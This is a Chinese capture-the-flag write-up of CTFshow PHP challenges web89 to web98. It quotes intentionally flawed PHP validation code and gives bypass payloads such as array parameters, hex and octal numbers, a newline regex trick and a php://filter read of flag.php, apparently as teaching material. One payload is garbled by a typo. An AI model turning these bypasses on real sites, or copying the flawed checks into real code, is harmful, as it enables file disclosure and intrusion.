CTFshowPHP特性web89-web98题目详解
web89 函数特性
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
分析上面的代码可以看出,正则匹配0-9,匹配到则返回true,直接die,但是由于preg_match()只能处理字符串,当传入的是数组时将会返回false,从而绕过死亡函数。由于之前没怎么了解过intval函数,所以我直接选择查阅php手册【https://www.php.net/manual/zh/function.intval.php】查阅后发现 **intval()**函数用于获取变量的整数值。**intval()**函数通过使用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1,结合我们preg_match()传入数组返回false的特性,这道题的payload就很清楚了。
?num[]=1
web90 函数特性 PHP比较运算符 ===
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ # === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
如下图所示,通过查询php手册,我们发现,当base为0时,会检测value的格式来决定使用的进制,所以我们可以通过把4476转换成16进制,经过base为0的intval函数处理,会识别16进制的4476,从而返回flag,又因为===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等,所以由于字符串类型不同会返回false,从而绕过死亡函数。
?num=?num=0x117c
web91 PHP正则表达式
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ #/i表示匹配大小写,/m表示多行匹配
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。
但是当不是多行匹配模式的时候,出现换行符 %0a
的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。
payload如下:
?cmd=aaa%0aphp
web92 函数特性 PHP比较运算符 ==
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
由于PHP比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入如下payload时,$num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval($num,0)==4476的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。
payload如下:
?num=0x117c
web93 函数特性 PHP比较运算符 ==
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
分析上面代码我们可以发现,相比上一题来说上面过滤了字母,我们可以选择使用八进制来绕过,从而获得flag,具体原理上面已经讲过这里不再赘述。除了使用八进制,我们还可以使用小数来绕过,例如4476.1 我们显然可以绕过第一个比较,又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。
payload如下:
?num=4476.1
or
?num=010574 #4476的八进制
web94 函数特性 PHP比较运算符 ===
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){ #strpos()函数查找字符串在另一字符串中第一次出现的位置并返回。
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这道题目如果我们还用八进制的4476来绕过,那么会有一个问题,因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1从而执行死亡函数,所以我们可以在八进制前面加一个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可。
payload如下:
?num= 010574
web95 函数特性 PHP比较运算符 ==与===
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
这道题目和上一题相比,变成了弱比较,其他都没变,所以我们还是可以使用上一题的payload来获取flag。
payload如下:
?num= 010574
web96 PHP比较运算符 ==
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
由于是弱比较,所以可以通过加字符来绕过,例如下面的两种方法
?u=./flag.php
or
?u=php://filter/convert.base64-encode/resource=flag.php
web97 PHP比较运算符 === md5类型
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
这一道题涉及到了强比较的md5类型,从代码我们可以得知,要求a、b两个值不一样但是需要这两个值得md5值一样,因此强比较类型,我们可以利用md5函数处理数组类型会返回false的特性,从而利用false=false来绕过。之前写过一篇总结相关知识点的文章链接如下:https://www.freebuf.com/articles/web/321300.html
payload:
a[]=1&b[]=2
web98
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址),而第二三行代码没啥用,我们用不到,直接看第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag。所以思路就有了,我们通过get随便传一个参数并赋值,然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。
payload如下:
?1=2
POST: HTTP_FLAG=flag